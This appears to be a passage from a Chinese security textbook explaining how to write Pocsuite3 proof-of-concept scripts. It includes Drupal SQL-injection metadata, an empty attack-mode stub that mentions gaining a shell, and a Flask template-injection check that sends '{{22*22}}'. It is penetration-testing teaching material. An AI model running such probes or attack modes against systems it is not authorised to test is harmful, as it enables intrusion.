上QQ阅读APP看书,第一时间看更新
3.2.2 POC脚本的编写步骤
下面进行POC脚本的编写。
1)首先新建一个.py文件,文件名应当符合POC命名规范。
2)编写POC实现类DemoPOC,继承自POCBase类:
from pocsuite3.api import Output, POCBase, register_poc, requests, logger from pocsuite3.api import get_listener_ip, get_listener_port from pocuite3.api import REVERSE_PAYLOAD from pocsuite3.lib.utils import random_str class DemoPOC(POCBase): ...
3)填写POC信息字段,需要认真填写所有基本信息字段,规范信息字段以利于查找:
vulID = '1571' # ssvid ID,如果是提交漏洞的同时提交PoC,则写成0 version = '1' #默认为1 author = 'seebug' # POC作者的名字 vulDate = '2014-10-16' #漏洞公开的时间,不明确时可以写今天 createDate = '2014-10-16' # 编写POC的日期 updateDate = '2014-10-16' # POC更新的时间,默认和编写时间一样 references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection- vulnerability.html'] # 漏洞地址来源,0day不用写 name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC' # POC名称 appPowerLink = 'https://www.drupal.org/' # 漏洞厂商的主页地址 appName = 'Drupal' # 漏洞应用名称 appVersion = '7.x' # 漏洞影响版本 vulType = 'SQL Injection' #漏洞类型 desc = ''' Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信 息泄露 ''' # 漏洞简要描述 samples = [] # 测试样列,使用POC测试成功的网站 install_requires = []
4)编写验证模式,在_verify方法中写入POC验证脚本:
def _verify(self): output = Output(self) # 验证代码 if result: # result表示返回结果 output.success(result) else: output.fail('target is not vulnerable') return output
5)编写攻击模式。用_attack()函数中写入EXP利用脚本,在攻击模式下可以对目标进行getshell、查询管理员账户密码等操作,定义它的方法与检测模式类似:
def _attack(self): output = Output(self) result = {} # 攻击代码
注意:如果该POC没有攻击模式,可以在_attack()函数下加入return self._verify(),无须再写_attack()函数。
由上可知,Pocsuite框架的方便之处在于,基本的框架已经构造好了,只需填写漏洞扫描的代码,然后通过接收传入的IP地址进行url的构造,在后方加入“/?name=”构造url,向构造好的url发送请求,并判断其返回状态码及payload值,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞:
def _verify(self): '''verify mode''' result = {} path = "/?name=" url = self.url + path payload = "{{22*22}}" #first req try: resq = requests.get(url + payload) if resq and resq.status_code == 200 and "484" in resq.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception,e: pass return self.parse_output(result)
将模板的_verify方法替换成Flask漏洞检测的脚本便完成了POC的编写,执行效果如图3-3所示。
图3-3 Pocsuite验证漏洞